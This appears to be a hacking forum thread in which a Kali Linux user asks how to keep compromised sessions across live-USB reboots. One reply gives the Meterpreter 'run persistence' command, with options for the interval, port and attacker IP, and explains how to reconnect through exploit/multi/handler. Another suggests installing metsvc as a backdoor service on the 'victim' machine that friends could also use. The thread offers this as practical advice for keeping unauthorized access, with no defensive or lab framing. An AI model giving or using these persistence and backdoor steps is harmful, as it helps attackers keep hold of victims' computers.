[franc15]

Hey guys I am using kali linux in live usb mode but I would like to store the sessions in something like a database so I can get access again when I'm online

[gitclone]

Well is it exploited vulnerability or msfvenom payload?

If it's vulnerability you can just exploit it again.

If it's msfvenom payload you can make it persistence

To make it persistence type:
run persistence -U -i 5(interval of connection attempts) -p (port #) -r (attackers ip)
In meterpreter session.

To connect again type:
use exploit/multi/handler

Then set payload

And finally Set port to the port you used earlier. And now the victims ip.

When you run it it should connect automatically.

[lIIlIIl]

I've never tried this method, but im pretty sure this is how it works.

Use metsvc , it's like opening a server on the victim machine, with other words, you don't need to use the same IP, you can even tell your friends HIS Ip and what port you opened it on and they can also access it.